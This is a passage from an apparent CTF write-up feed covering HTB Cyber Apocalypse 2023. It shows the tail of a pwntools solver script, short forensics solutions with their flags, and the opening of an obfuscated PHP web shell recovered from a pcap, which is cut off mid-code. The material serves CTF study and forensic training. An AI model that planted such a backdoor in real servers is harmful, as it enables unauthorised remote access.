&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">60&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;1&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;Balance&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;expected hash &amp;#34;&lt;/span>&lt;span class="p">):&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;expected hash &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">temp&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;2&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">60&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ans&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ans1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ans1&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">ans&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">60&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ans1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;Balance&amp;#34;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">total&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">temp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()[&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Balance: &amp;#34;&lt;/span>&lt;span class="p">):])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">total&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvuntil&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;vessels&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;3&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recvline&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{7h3_vess3ls_4r3_des7r0yed_g0od_j0b}&lt;/strong>&lt;/p>
&lt;h2 id="original-post">Original Post&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://junvalentine.github.io/posts/htb-wu-2023/#colliding-heritage" target="_blank" rel="noopener">From Onirique&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://haopham23.github.io/dashaus165blog/" target="_blank" rel="noopener">From dasHaus&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Forensics</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-for/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-for/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/forensics/">forensics&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#plaintext-tleasure">Plaintext Tleasure&lt;/a>&lt;/li>
&lt;li>&lt;a href="#alien-cradle">Alien Cradle&lt;/a>&lt;/li>
&lt;li>&lt;a href="#extraterrestrial-persistence">Extraterrestrial Persistence&lt;/a>&lt;/li>
&lt;li>&lt;a href="#roten">Roten&lt;/a>&lt;/li>
&lt;li>&lt;a href="#relic-maps">Relic Maps&lt;/a>&lt;/li>
&lt;li>&lt;a href="#packet-cyclone">Packet Cyclone&lt;/a>&lt;/li>
&lt;li>&lt;a href="#bashic-ransomware">Bashic Ransomware&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#1-pcap-file">1. Pcap file&lt;/a>&lt;/li>
&lt;li>&lt;a href="#2-bash-script-analyze">2. Bash script analyze&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#original-posts">Original Posts&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="plaintext-tleasure">Plaintext Tleasure&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1O77S-Ti8GErZxdZoYiTKEWsCBWn6Fp9b/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server&amp;rsquo;s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a network pcap file. Although we can solve this challenge using &lt;a href="https://www.wireshark.org/" target="_blank" rel="noopener">Wireshark&lt;/a>, but to keep it simple for the very first challenge, we will use &lt;a href="https://www.howtogeek.com/427805/how-to-use-the-strings-command-on-linux/" target="_blank" rel="noopener">strings&lt;/a> and &lt;a href="https://www.geeksforgeeks.org/grep-command-in-unixlinux/" target="_blank" rel="noopener">grep&lt;/a> to get the flag.&lt;/p>
&lt;p>Here we use strings to dump out strings from the pcap file, then use pipe (&lt;code>|&lt;/code>) and grep to find for strings that match the flag format - &lt;code>HTB{&lt;/code>.&lt;/p>
&lt;img src="1.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{th3s3_4l13ns_st1ll_us3_HTTP}&lt;/strong>&lt;/p>
&lt;h2 id="alien-cradle">Alien Cradle&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/12HfCz9D5QnpK7kQBwjCINwv29T5sr6Nc/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora&amp;rsquo;s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>For this challenge, we are given a Powershell Script file. In the script, the flag is being concatenated using some Powershell &lt;del>magic&lt;/del> lines of code.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{p0w3rsh3ll_Cr4dl3s_c4n_g3t_th3_j0b_d0n3}&lt;/strong>&lt;/p>
&lt;h2 id="extraterrestrial-persistence">Extraterrestrial Persistence&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1-ySd0Z3kKvX3djL228eU0_vddZf4Pdn9/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In this challenge, we are given a shell script to look for the flag.&lt;/p>
&lt;p>For the sake of understanding the flow of shell scripting, the script checks whether the username is &lt;code>Pandora&lt;/code> and the hostname is &lt;code>linux_HQ&lt;/code>. If the check is fulfilled, it starts the process to write the base64 decoded message into the file &lt;code>/usr/lib/systemd/system/service.service&lt;/code>.&lt;/p>
&lt;p>The decoded message turned out to contain the flag for our challenge.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{th3s3_4l13nS_4r3_s00000_b4s1c}&lt;/strong>&lt;/p>
&lt;h2 id="roten">Roten&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1RfJHiudqPA7iTqNqsmIYHRZDYZzu7uEs?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyze, its up to you to save us.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Forensics&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>After filtering the packets by &lt;code>http.request.method == POST&lt;/code>, we saw an interesting packet there.&lt;/p>
&lt;img src="packets.png" alt="Packets" width="1000"/>
&lt;p>The packet 1929 has a MIME type of &lt;code>application/x-php&lt;/code>, following the HTTP stream to see the php backdoor, we found this interesting php codes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-php" data-lang="php">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;?&lt;/span>&lt;span class="nx">php&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$pPziZoJiMpcu&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">82&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$liGBOKxsOGMz&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">array&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span> &lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;nnyo ea&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">px-aloerl0=e r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0&amp;#39; weme Su rgsr s&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">eu&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e&amp;#39;Er= elmi)y ]_&amp;#39;t&amp;gt;bde e e =p xt&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ?ltps vdfic-xetrmsx&amp;#39;l0em0 o&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">oc&amp;amp;&amp;#39;t [r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e _e;eV.ncxm&amp;#39;vToil ,F y&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;r s -&amp;lt;a &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">op r_P&amp;lt; poeeihaeild /ds&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">se4bsxao1: r]du ;e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;o,t dn&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">)i&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;me&amp;#39;maoate{e I!lb&amp;gt;&amp;#39;u btde .sr ege/ han:t&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;elrlenjl t&amp;gt;( 0&amp;#39;eCdd0 l et0&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;seu u it ;e_ dc&amp;gt;ulUd&amp;#39;T&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">xe&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">L&amp;lt;er&amp;lt;.l oh&amp;gt;c ii aert pdt iai(ed.QiJr&lt;/span>&lt;span class="se">\n\$&lt;/span>&lt;span class="s2">i0; 0&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e0&amp;#39; d= ex ].xp&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r re &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">wSn&amp;#39;u&amp;lt;lup ]o iluE/=&amp;gt;b&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t r&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;h rxn ltmb &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;-aodd&amp;#39;) bubaa&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ff0 i0] )- [ &amp;amp;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">4 ==e[wn (r #iEa tftelF)U sspSb&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;rd dO o e_t ppso &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">]DpneaC;aoesvp&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i( }f0 &amp;amp; &amp;#39; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">( ]0 =sc&amp;#39;o &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">s #nRmaeoi=oi)p te&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;l[&amp;gt;c;&amp;gt;ia ew agP aw(d i;ep:rto&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nor/a/&amp;lt;l )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( = ?;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0 0 &amp;#39;puwr&lt;/span>&lt;span class="se">\$\$&lt;/span>&lt;span class="s2">d&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> fgVeu&amp;#39;rp&amp;#39;al l s o&amp;#39;&amp;lt;o&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;lt;rs rn &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> leeetu&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">y f&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sl (en dtyjS3?e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> ) 0 &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">gem0= xrtrlsdi; l E=t&amp;gt;ma&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;e{o iafbl&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">b. }ee &amp;lt; ptrchid&amp;gt; cia&amp;#39;&amp;#39;t s qc.p)m{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> (0&amp;#39; rao0 ) &amp;#39;ieid;ir&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> adR&amp;#39;o&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2"> r.&amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">a ifdiro &amp;gt;&amp;#39;&lt;/span>&lt;span class="se">\$\n&lt;/span>&lt;span class="s2">dr&amp;lt;t apmh(di&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ( rctE)&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;e mtlur3h;o m{&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">2x odd0( )n&amp;#39;t[&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r) gi[dcnat&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> d n Dl&amp;gt;r R k}&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;lt;tr twso&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">(r; i iatx;n iriei.p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> o m0&amp;#39; u&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e1&lt;/span>&lt;span class="se">\$\$&lt;/span>&lt;span class="s2"> &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; t]e&amp;#39;} ) } r&amp;#39;io&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">c/_in &amp;#39; (ie&amp;#39;: e&amp;amp;e&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt;/b&amp;gt; hu( df)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> s ptap&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">t nabrp6&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> et d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">o0 p] )ogi?f)&amp;#39;r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">= &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">=ePrm;tfGda&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; ]e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">mrT;r s&amp;amp;ye&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">to&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> (i&lt;/span>&lt;span class="se">\$\&amp;#34;&lt;/span>&lt;span class="s2">ii e s tici - ipryt/&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> y etd): [ &amp;amp; wrf (;]e&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> { cH&amp;#39;p&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ioE=m [c.oeo&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">e u c hd; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">dd&amp;lt;rl.c e iohr L fca/ jf &amp;amp;p ye &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">= ?no(&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2">,a&lt;/span>&lt;span class="se">\n\$\n&lt;/span>&lt;span class="s2"> HtP leorT&amp;#39;e &amp;#39;h&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">vcU d l&amp;#39;=h &amp;gt;y&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> d(it.e h t onme e idr1-su e &amp;amp;p ?&amp;#39; e 0 eu t% d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">_ To_vecnm[f= nouetp &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> t.&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
